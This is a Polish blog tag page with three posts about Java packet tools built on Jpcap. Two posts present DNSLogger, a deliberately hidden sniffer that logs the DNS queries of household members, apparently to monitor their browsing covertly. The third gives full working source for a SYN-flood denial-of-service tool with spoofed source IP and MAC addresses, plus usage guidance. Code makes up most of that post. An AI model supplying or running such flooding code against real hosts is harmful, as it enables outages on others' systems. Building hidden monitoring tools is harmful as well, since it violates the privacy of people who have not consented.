Pokazywanie postów oznaczonych etykietą jpcap. Pokaż wszystkie posty
Pokazywanie postów oznaczonych etykietą jpcap. Pokaż wszystkie posty

wtorek, 11 sierpnia 2009

DNSLogger do pobrania

Dzięki istnieniu wspaniałego SourceForge.net projekt DNSLogger dostępny jest już dla każdego zainteresowanego do pobrania. Aktualnie nadany został projektowy status Bety i numer 0.1.0, aczkolwiek przeprowadzone przeze mnie testy nie wykazały jak na razie żadnych błędów.

Dostępna jest oczywiście paczka z kodem i paczka "instalacyjna" zawierająca razem jsl pozwalający na uruchomienie DNSLoggera jako usługi w systemie MS Windows NT/2000/XP. Mile widziane są wszelkie uwagi na temat projektu i zgłaszanie wszelkich sugestii dla jego rozwoju.

DNSLogger wymaga do swego działania zainstalowanego w systemie JPcap. Paczkę dla swojego systemu znajdziesz pod TYM adresem. Opis projektu DNSLogger w tym blogu znajduje się pod TYM adresem.

JSL posiada własny plik konfiguracyjny. Został on przeze mnie skonfigurowany w taki sposób, aby plik jar znalazł się w folderze c:\logger\. W przypadku innej konfiguracji konieczne są zmiany w pliku konfiguracyjnym JSL. JSL posiada swoje howto gdzie opisane jest użycie aplikacji, a także znajduje sie link do opisu pliku konfiguracyjnego.

Projekt dostępny jest pod TYM linkiem. To pierwszy mój projekt tak szeroko udostępniony, ale na pewno nie ostatni.

Czytaj też:

środa, 15 lipca 2009

Sieć na nasłuchu

Sieci komputerowe wymagają nadzoru. To nie podlega dyskusji. Nie chodzi jednak wyłącznie o nadzór techniczny. Niestety użytkownicy pozostawieni sami sobie są przyczyną wielu zagrożeń dla infrastruktury sieci, ale i bezpieczeństwa jej składowych. Jednym z głównych zagrożeń jest dostęp do nieautoryzowanych zasobów sieci www. W sieciach korporacyjnych dostęp do takich danych należy blokować, ale co robić w sieci domowej?

Jeśli w sieci istnieje brama domyślna zbudowana z jakiegoś PC, co jest bardzo dobrym rozwiązaniem, to możliwe jest kontrolowanie ruchu wychodzącego z sieci do i ze świata zewnętrznego. Przyjrzyjmy się na początek możliwościom nasłuchu, a nie samej kontroli ruchu.

Początkowo można polegać na różnych narzędziach dostępnych w sieci. Często jednak niestety są to kombajny wymagające sporej mocy obliczeniowej, albo wiedzy administratora. Prędzej czy później okazuje się, że do prowadzenia logów potrzebne są prostsze narzędzia.

Początkowo przydatny jest Wireshark (wspominany już wcześniej). Niestety to właśnie taki niewygodny kombajn. Nie tylko, że wymaga nieco wiedzy, to zbierane logi potrafią zajmować setki megabajtów, pomimo że zawierają całą masę zbędnych nam śmieci. Potem można zacząć szukać jakiś kompaktowych rozwiązań. Przyznam szczerze, że ja osobiście nic nie znalazłem.

Do stworzenia kodu, który zaprezentuję nakłonił mnie znajomy, albo może raczej zainspirował. Zaczęło się od zwykłego pytania "czy i jak można sprawdzać odwiedzane przez domowników strony www?". Sięgnąłem do swojej aktualnej wiedzy i stworzyłem DNSLogger. Wstępnie jest to aplikacja we wczesnej fazie alpha, która jeszcze nie powinna być szeroko stosowana. Z założenia działa, ale nie przeprowadziłem wystarczających testów.

Aplikacja składa się obecnie z dwóch klas. Jedna to już dość standardowy main, a druga to handler do przechwytywania pakietów. Nie znam się za bardzo na ukrywaniu programów w systemie. W C/C++ byłoby to stosunkowo proste, aczkolwiek w języku Java... Pojęcia nie mam gdzie nawet szukać. Pomysł jest jednak proszy. Wystarczy odwołać się do wiedzy o Swing i okienkach z niego. W ten sposób można dodać dość łatwo ukrytą aplikację i to głównie się dzieje w klasie Main.

klasa Main:
import java.io.IOException;

import javax.swing.JFrame;

import jpcap.JpcapCaptor;
import jpcap.NetworkInterface;
import jpcap.NetworkInterfaceAddress;
import jpcap.PacketReceiver;
import handler.dnsPacketReceiver;

public class Main
{

  static JpcapCaptor cap;
  static PacketReceiver rec;

  /**
   * @param args
   */
  public static void main(String[] args)
  {

    JFrame hid=new JFrame(\"SSERVICE\");
    hid.setVisible(false);
    hid.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
    hid.setFocusable(false);
    hid.setEnabled(false);
    NetworkInterface[] devices = JpcapCaptor.getDeviceList();
    int index=0;
    if(args.length<1)

    {
      System.out.println(\"usage: java Main <eth nr>\");
      
      for (int i = 0; i < devices.length; i++) {

        System.out.println(i+\" :\"+devices[i].name + \"(\" + devices[i].description+\")\");
        System.out.println(\"    data link:\"+devices[i].datalink_name + \"(\"

            + devices[i].datalink_description+\")\");
        System.out.print(\"    MAC address:\");
        for (byte b : devices[i].mac_address)
          System.out.print(Integer.toHexString(b&0xff) + \":\");

        System.out.println();
        for (NetworkInterfaceAddress a : devices[i].addresses)
          System.out.println(\"    address:\"+a.address + \" \" + a.subnet + \" \"

              + a.broadcast);
      }
    }
    else
    {
      try {
        index=Integer.parseInt(args[0]);
        cap = JpcapCaptor.openDevice(devices[index], 2000, false, 20);
        rec=new dnsPacketReceiver();

      }
      catch (NumberFormatException e) {
        e.printStackTrace();
      }
      catch (IOException e){
        e.printStackTrace();
      }
      cap.loopPacket(-1, rec);
    }
  }

}

Klasa dnsPacketReceiver jest znacznie bardziej istotna. Jej zadaniem jest przechwycenie wszystkich pakietów protokołu UDP i z tych kierowanych na port 53 zapisanie do plików logów treści zapytania. Logi są podzielone na foldery wg IP i na pliki wg dat. W każdym pliku jednemu zapytaniu odpowiada wiersz z zapisanym czasem wysłania zapytania. Problemem może być tutaj tworzenie nowego pliku wg nowej daty. Jest to fragment jak dotąd nieprzetestowany.

klasa dnsPacketReceiver:
package handler;

import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date;

import jpcap.PacketReceiver;
import jpcap.packet.Packet;
import jpcap.packet.UDPPacket;

public class dnsPacketReceiver implements PacketReceiver 

{
  private String fname;
  private Date date;
  private Date sdate;
  private BufferedWriter wr;
  private SimpleDateFormat df;
  

  public dnsPacketReceiver()
  {
    date=new Date();
    sdate=new Date();
    df=new SimpleDateFormat(\"yyyy-MM-dd\");
    fname=df.format(date)+\".txt\";
  }
  
  public void receivePacket(Packet p)

  {
    String line=\"\";
    int dprt = 0;
    SimpleDateFormat ft=new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");
    date=new Date();

    if(p instanceof UDPPacket)
    {
      UDPPacket t=(UDPPacket) p;
      dprt=t.dst_port;
      if(dprt==53)
      {
        line+=ft.format(date)+\" \";
        line+=t.src_port+\" \"+t.dst_port+\"\\t\";

        line+=t.src_ip.getHostAddress()+\"\\t\"+t.dst_ip.getHostAddress();
        String tmp=\"\";
        for(int i=13;t.data[i]!=0;i++)
        {
          if(t.data[i]<0x10)
          {
            tmp+=\".\";
          }

          else
          {
            char c=(char) t.data[i];
            tmp+=c;
          }
        }
        line+=\"\\t\"+tmp;
        //System.out.println(line);
        //sprawdz czy istnieje folder log

        try
        {
        File tmp_f=new File(\"./log/\");
        if(!tmp_f.exists())
          tmp_f.mkdir();
        //sprawdz czy istnieje folder dla IP
        tmp_f=new File(\"./log/\"+t.src_ip.getHostAddress()+\"/\");

        if(!tmp_f.exists())
          tmp_f.mkdir();
        //sprawdz czy nie ma juz nowego dnia
        newName();
        //sprawdz czy istnieje plik z dana data

        File f=new File(\"./log/\"+t.src_ip.getHostAddress()+\"/\"+fname);
        if(!f.exists())
          f.createNewFile();
        //stworz writer
        wr=new BufferedWriter(new FileWriter(f,true));
        //zapisz do pliku

        wr.write(line+\"\\n\");
        //zamknij plik
        wr.close();
        }
        catch (IOException e)
        {
          e.printStackTrace();
        }
        
      }
      else
        return;

    }
    else
      return;
  }
  
  private void newName()
  {
    Date tmp;
    tmp=new Date();
    SimpleDateFormat f=new SimpleDateFormat(\"dd\");

    int d1=Integer.parseInt(f.format(sdate));
    int d2=Integer.parseInt(f.format(tmp));
    
    if(d2-d1!=0)
    {
      sdate=tmp;
      fname=df.format(sdate)+\".txt\";
    }
  }
}

Aplikacja wymaga przy starcie podania numeru karty, na której prowadzony jest nasłuch. W najbliższym czasie wprowadzę pewne poprawki i udogodnienia. Gdy bliżej poznam się z filtrami z wireshark pozwolę sobie na dodanie ich do opcji aplikacji. Opcje zapisywania logów też się oczywiście przydadzą, więc i nimi trzeba się zająć.

Będę wdzięczny za wszelkie sugestie do tego kodu. W przyszłości przychodzi mi też do głowy opcja sterowania programem zdalnie przez Java RMI przykładowo i opcje statystyki logów dostępne zdalnie. To wszystko jest jednak nieco poza zasiegiem na najbliższy czas. Mam nadzieję, że ten pomysł i jego wykonanie przypadnie komuś do gustu.

Przechwytywanie pakietów odbywa się w trybie promicuus. Oznacza to, że może zostać odkryta przez innych użytkowników sieci. Brama domyślna nie może jednak być podejrzana. Zaawansowane działania sieciowe to jej zadanie ;).

niedziela, 29 marca 2009

Java: SynFlooder

Protokoły sieciowe tworzone lata temu nie były projektowane zgodnie z zasadą ograniczonego zaufania. Przez w stosunkowo krótkim czasie udało się znaleźć ich podatności. Aktualnie najczęściej stosowany protokół sieciowy TCP wbrew pozorom posiada ich kilka.

Każda podatność oznacza atak na dany protokół. W tym poście nie będę jednak zbyt dokładnie skupiał się na mechanizmie ataku SYN, tylko postaram się opisać Exploit wykonujący ten atak napisany w języku Java.

Wiele osób uważa, że język przeze mnie użyty do takiego programowania się nie nadaje. Z pomocą przychodzi jednak google i kreatywność wielu ludzi. Z języków niższego poziomu znane jest pojęcie RAW Socket. W skrócie jest to API umożliwiające operacje bezpośrednio na pakietach i urządzeniach sieciowych. Atak z wykorzystaniem luki w protokole sieciowym wymaga niestety (i na szczęście) ingerencję w sposób komunikacji. Potrzebujemy więc zabawić się samymi pakietami.

Jak już wspomniałem inny ludzie przychodzą z pomocą. Dla Javy istnieje biblioteka dostarczająca RAW Socket'y. Jest to Jpcap. Pobrać go można stąd: jpcap download. Biblioteka wydana jest na licencji LGPL, co jest dla nas niezwykle korzystne. Dostarcza ona dla nas wszystkie niezbędne funkcje.

Skoro już mamy co trzeba i wszystko działa, to czas zabrać się do pisania kodu. Oczywiście najlepiej go zaprojektować zawczasu. Po krótce atak polega na wysyłaniu dużej liczby pakietów SYN do hosta na otwarty port, ignorując jednocześnie nadchodzące pakiety SYN/ACK. W efekcie na atakowanym hoście powstaje ogromna liczba półotwartych połączeń. W pewnym momencie może dojść do sytuacji gdy:
a) system się zawiesi,
b) system nie będzie w stanie odpowiedzieć na żadne zgłoszenie,

Atak ten jak i sama luka w implementacjach stosu TCP znana jest od lat. Ciekawe i niebezpieczne jest jednak, że domyślnie system Windows nawet w wersji XP nie jest przed nim zabezpieczony. Konieczne jest dokonanie odpowiednich wpisów w rejestrze, lub zastosowanie firewall (nie systemowego!!!). Możliwy jest atak na NetBIOS i SMB, konieczne jest odpowiednie "dopasowanie" do protokołów.

Tak więc cały program można ująć w jedną klasę Main. Dla wygody do programu dodane zostały dwie dodatkowe klasy. SigHand to handler sygnału INT, aby można było przerwać program i na zakończenie podać informacje o ataku, oraz klasa IntVal to pewien odpowiednik klasy Integer. Posiada mniej funkcji, bo nie potrzeba nam ich wiele.

Klasa SigHand:
import sun.misc.Signal;
import sun.misc.SignalHandler;

class SigHand implements SignalHandler
{
private IntVal sentp;

public SigHand(IntVal arg0)
{
this.sentp=arg0;
}

public void handle(Signal arg0)
{
String sent=Integer.toString(sentp.getVal());
System.out.println(\"Packets sent:\"+sent);
System.exit(0);
}
}

Klasa jest prosta, nie trzeba jej opisywać. Mniej spostrzegawczym powiem, że w momencie odebrania sygnału z OS program wywołuje automatycznie metodę handle(Signal arg0). Zadaniem funkcji jest wypisanie na ekran informacji o liczbie wysłanych pakietów i zakończenie aplikacji.

Klasa IntVal:
public class IntVal
{
private int val;

public IntVal()
{

val=0;
}

public IntVal(int arg0)
{
val=arg0;
}

public void setVal(int arg0)
{
val=arg0;
}

public int getVal()
{
return val;
}

public void incVal()
{
val++;
}
}

Znowu mamy do czynienia z prostą klasą. Jest to Java Bean nie dziedziczący z żadnej klasy i nie implementujący żadnego interface'u. Jedyne jego zadanie to przechowanie pojedynczej wartości typu int. Od razu widać, że nie została przygotowana dla programu wielowątkowego.

Atak SYN Flood wymaga wysłania bardzo dużej liczby pakietów. Pomimo to program wielowątkowy wcale nie spełni tutaj swego zadania. Dlaczego tak się dzieje? Procesor może wykonać w tym samym czasie wiele zadań, jednak w pewnym momencie dochodzimy do użycia karty sieciowej i w tym miejscu powracamy do wykonywania sekwencyjnego. Dla naszego programu jest to wąskie gardło. Nie jest fizycznie możliwe wysłanie kilku pakietów na raz. Przygotowanie pojedynczego pakietu trwa wystarczająco krótko, więc całość może zostać wykonana w pętli sekwencyjnie, różnica nie zostanie odczuta.

Dane potrzebne do wykonania ataku:
  • IP źródła,
  • MAC źródła,
  • IP odbiorcy,
  • MAC odbiorcy,
  • otwarty port,
Lista wynika oczywiście z budowy pakietu TCP/IP i Ethernet. Można jednak pozwolić sobie na pewne odstępstwa od tego. Szczególnie jeśli atakowany przez nas host nie znajduje się w naszej sieci lokalnej.

IP może nie być naszym adresem. Najlepiej jednak, aby był zgodny z adresem źródłowym MAC. MAC źródłowy w przypadku użycia adresu IP zewnętrznego powinien być adresem bramy domyślnej (dla hosta w naszej sieci) i naszym adresem dla hosta spoza sieci. Oczywiście można użyć innego i mieć nadzieję, że się uda. IP odbiorcy musi być prawidłowe. Tego się nie przeskoczy. Port może być teoretycznie dowolny, praktycznie warto wybrać program, który z chęcią przyjmuje połączenia z zewnątrz, jak na przykład komunikator. MAC odbiorcy zostawiłem na koniec nie bez powodu. Jeśli odbiorca jest poza naszą siecią podajemy adres bramy domyślnej (swojej), jeśli jest w naszej sieci podajemy dokładny adres odbiorcy. Oba te przypadki można obejść podając adres rozgłoszeniowy, który składa się z samych 1. Heksadecymalnie ma postać: FF:FF:FF:FF:FF:FF.

Klasa Main:
import java.io.IOException;
import java.net.InetAddress;
import java.net.UnknownHostException;

import sun.misc.Signal;
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.packet.EthernetPacket;
import jpcap.packet.IPPacket;
import jpcap.packet.TCPPacket;


public class Main
{
public static String usage=\"synflood dest_IP dest_port [-opt]\\n\\n\" +

\"\\t-s\\t source IP\\n\" +
\"\\t-m\\t source MAC\\n\" +
\"\\t-M\\t destination MAC\\n\" +
\"\\t-v\\t verbose (more informations)\";

public static final Long sent=new Long(0);

public static void main(String[] args)
{
boolean wsrcIP=false;
boolean wsrcMAC=false;
boolean wdstMAC=false;

boolean verb=false;
boolean err=false;
IntVal sentp=new IntVal(0);
char op=\'0\';
String sIP=\"\";
String sMAC=\"\";

String dMAC=\"\";
JpcapSender sender=null;
jpcap.NetworkInterface[] devices = JpcapCaptor.getDeviceList();
if(args.length<2)
{
System.out.println(usage);
}
else
{

for(int i=0;i<args.length;i++)
{
if(args[i].charAt(0)==\'-\')
{
op=args[i].charAt(1);
switch (op)
{
case \'s\':
wsrcIP=true;

sIP=args[++i];
if(!sIP.matches(\"(^|[^.0-9])((25[0-5]|2[0-4][0-9]|1?[0-9]?[0-9])\\\\.){3}(25[0-5]|2[0-4][0-9]|1?[0-9]?[0-9])([^.0-9]|$)\")) err=true;
break;
case \'m\':
wsrcMAC=true;
sMAC=args[++i];
if(sMAC.matches(\"/^([0-9a-f]{1,2}([:-]|$)){6}$/i\")) err=true;
break;

case \'M\':
wdstMAC=true;
dMAC=args[++i];
if(dMAC.matches(\"/^([0-9a-f]{1,2}([:-]|$)){6}$/i\")) err=true;
break;
case \'v\':
verb=true;
break;

}
}
}
if(err) System.exit(-1);
if (verb) Signal.handle(new Signal(\"INT\"),new SigHand(sentp));
String dstadr=args[0];
int dprt=Integer.parseInt(args[1]);
InetAddress srcIP=null;

try {
if(wsrcIP)
{
srcIP=InetAddress.getByName(sIP);
}
else
{
srcIP=InetAddress.getByName(\"www.google.com\");
}
} catch (UnknownHostException e1) {}

if(!wsrcIP) sIP=srcIP.getHostAddress();
if(!wsrcMAC) sMAC=\"00:0f:ea:8a:2d:19\";
if(!wdstMAC) dMAC=\"FF:FF:FF:FF:FF:FF\";
if(verb)
{
System.out.println(\"\\n source MAC:\\t\\t\" + sMAC + \"\\n\" +

\" destination MAC:\\t\" + dMAC + \"\\n\" +
\" source IP:\\t\\t\" + sIP + \"\\n\" +

\" destination IP:\\t\" + dstadr + \"\\n\" +
\" destination port:\\t\" + dprt + \"\\n\");

}
while(true)
{
try {
sender = JpcapSender.openDevice(devices[0]);
} catch (IOException e) {}

//create a TCP packet with specified port numbers, flags, and other parameters

int sprt=(int)(Math.random()*64511)+1024;

TCPPacket p=new TCPPacket(sprt,dprt,52,0,false,false,false,false,true,false,false,false,65535,0);

//specify IPv4 header parameters
try {
p.setIPv4Parameter(0,false,false,false,0,false,false,false,0,1010101,100,IPPacket.IPPROTO_TCP,
srcIP,InetAddress.getByName(dstadr));
} catch (UnknownHostException e) {}


//set the data field of the packet
p.data=(\"\").getBytes();

//create an Ethernet packet (frame)
EthernetPacket ether=new EthernetPacket();

//set frame type as IP
ether.frametype=EthernetPacket.ETHERTYPE_IP;
//set source and destination MAC addresses
String[] mac=sMAC.split(\":\");
ether.src_mac=new byte[6];

for(int i=0;i<6;i++) ether.src_mac[i]=(byte)Integer.parseInt(mac[i],16);
mac=dMAC.split(\":\");
ether.dst_mac=new byte[6];
for(int i=0;i<6;i++) ether.dst_mac[i]=(byte)Integer.parseInt(mac[i],16);

//set the datalink frame of the packet p as ether

p.datalink=ether;

//send the packet p
sender.sendPacket(p);

sender.close();
sentp.incVal();
try {
Thread.sleep(1);
} catch (InterruptedException e) {}
}

}
}
}

Pozornie kod może wydawać się skomplikowany. Jest jednak na tyle prosty, że byłem w stanie napisać go samodzielnie ;).

Najlepiej zacząć od początku, tak więc:
1. Sprawdzamy opcje z jakimi uruchomiony został program:
if(args.length<2)
{
System.out.println(usage);
}
else
{
for(int i=0;i<args.length;i++)
{
if(args[i].charAt(0)==\'-\')

{
op=args[i].charAt(1);
switch (op)
{
case \'s\':
wsrcIP=true;
sIP=args[++i];
if(!sIP.matches(\"(^|[^.0-9])((25[0-5]|2[0-4][0-9]|1?[0-9]?[0-9])\\\\.){3}(25[0-5]|2[0-4][0-9]|1?[0-9]?[0-9])([^.0-9]|$)\")) err=true;
break;
case \'m\':

wsrcMAC=true;
sMAC=args[++i];
if(sMAC.matches(\"/^([0-9a-f]{1,2}([:-]|$)){6}$/i\")) err=true;
break;
case \'M\':
wdstMAC=true;
dMAC=args[++i];
if(dMAC.matches(\"/^([0-9a-f]{1,2}([:-]|$)){6}$/i\")) err=true;

break;
case \'v\':
verb=true;
break;
}
}
}
if(err) System.exit(-1);
}


Przy okazji sprawdzamy, czy adresy IP i MAC są poprawne. Do tego celu na Stringach używamy RegExp'a. Nie będę tych wyrażeń tłumaczył, bo to oddzielny temat. Wyrażenia do takich zastosowań można gotowe znaleźć w sieci w ramach przykładów. Ważne jest, że jeśli podane dane są niepoprawne, to ustawiony jest błąd, skutkujący później zakończeniem programu z kodem -1.

2. Jeśli użyto opcji v, rejestrujemy handler sygnału:
if (verb) Signal.handle(new Signal("INT"),new SigHand(sentp));


3. Ustawiamy dane do ataku:
String dstadr=args[0];
int dprt=Integer.parseInt(args[1]);
InetAddress srcIP=null;
try {
if(wsrcIP)
{
srcIP=InetAddress.getByName(sIP);
}
else
{
srcIP=InetAddress.getByName(\"www.google.com\");
}
} catch (UnknownHostException e1) {}
if(!wsrcIP) sIP=srcIP.getHostAddress();
if(!wsrcMAC) sMAC=\"00:0f:ea:8a:2d:19\";
if(!wdstMAC) dMAC=\"FF:FF:FF:FF:FF:FF\";
if(verb)
{
System.out.println(\"\\n source MAC:\\t\\t\" + sMAC + \"\\n\" +

\" destination MAC:\\t\" + dMAC + \"\\n\" +
\" source IP:\\t\\t\" + sIP + \"\\n\" +

\" destination IP:\\t\" + dstadr + \"\\n\" +
\" destination port:\\t\" + dprt + \"\\n\");
}


Jeśli adres IP źródła nie został podany, pozyskujemy adres google.com i taki ustawiamy.

4. Tworzymy nowy Sender z urządzenia sieciowego pierwszego:
try {
sender = JpcapSender.openDevice(devices[0]);
} catch (IOException e) {}


5. Wyznaczamy port źródłowy:

int sprt=(int)(Math.random()*64511)+1024;

Port wyznaczamy losowo. Chyba tylko dla samej metody. Może to jednak nie działać właściwie. Atak na niektóre porty może się nie powieźć z powodu niewłaściwego portu źródłowego.

6. Tworzymy pakiet TCP:
TCPPacket p=new TCPPacket(sprt,dprt,52,0,false,false,false,false,true,false,false,false,65535,0);


7. dodajemy nagłówek IPv4:
try {
p.setIPv4Parameter(0,false,false,false,0,false,false,false,0,1010101,100,IPPacket.IPPROTO_TCP,
srcIP,InetAddress.getByName(dstadr));
} catch (UnknownHostException e) {}


8. Tworzymy ramkę ethernetową:
//create an Ethernet packet (frame)
EthernetPacket ether=new EthernetPacket();
//set frame type as IP
ether.frametype=EthernetPacket.ETHERTYPE_IP;


9. konfigurujemy ramkę ethernetową:
//set source and destination MAC addresses
String[] mac=sMAC.split(\":\");
ether.src_mac=new byte[6];
for(int i=0;i<6;i++) ether.src_mac[i]=(byte)Integer.parseInt(mac[i],16);
mac=dMAC.split(\":\");
ether.dst_mac=new byte[6];
for(int i=0;i<6;i++) ether.dst_mac[i]=(byte)Integer.parseInt(mac[i],16);


10. Dodajemy ramkę ethernet do pakietu i wysyłamy go po sieci:
//set the datalink frame of the packet p as ether
p.datalink=ether;

//send the packet p
sender.sendPacket(p);

Proponuję każdemu potestować ten atak na sieci lokalnej i poobserwować ruch na sieci. Najlepiej użyć do tego dobrego sniffera takiego jak Wireshark (dawniej Ethereal). Można pobrać go z oficjalnej strony producenta. To darmowe narzędzie zostało użyte do przeprowadzenia testów podczas pisania tego posta.



Atak z konsoli w windows:

Log z Wireshark:

Analizę tego obrazka pozostawiam zainteresowanym.

Testowanie exploita na komputerach spoza sieci lokalnej może zostać uznane za atak. Należy pamiętać, że atak SYN Flood jest bardzo łatwy do wykrycia, a za jego użycie może grozić "odsiadka"!

Grafika pochodzi z wikipedia: Syn Flood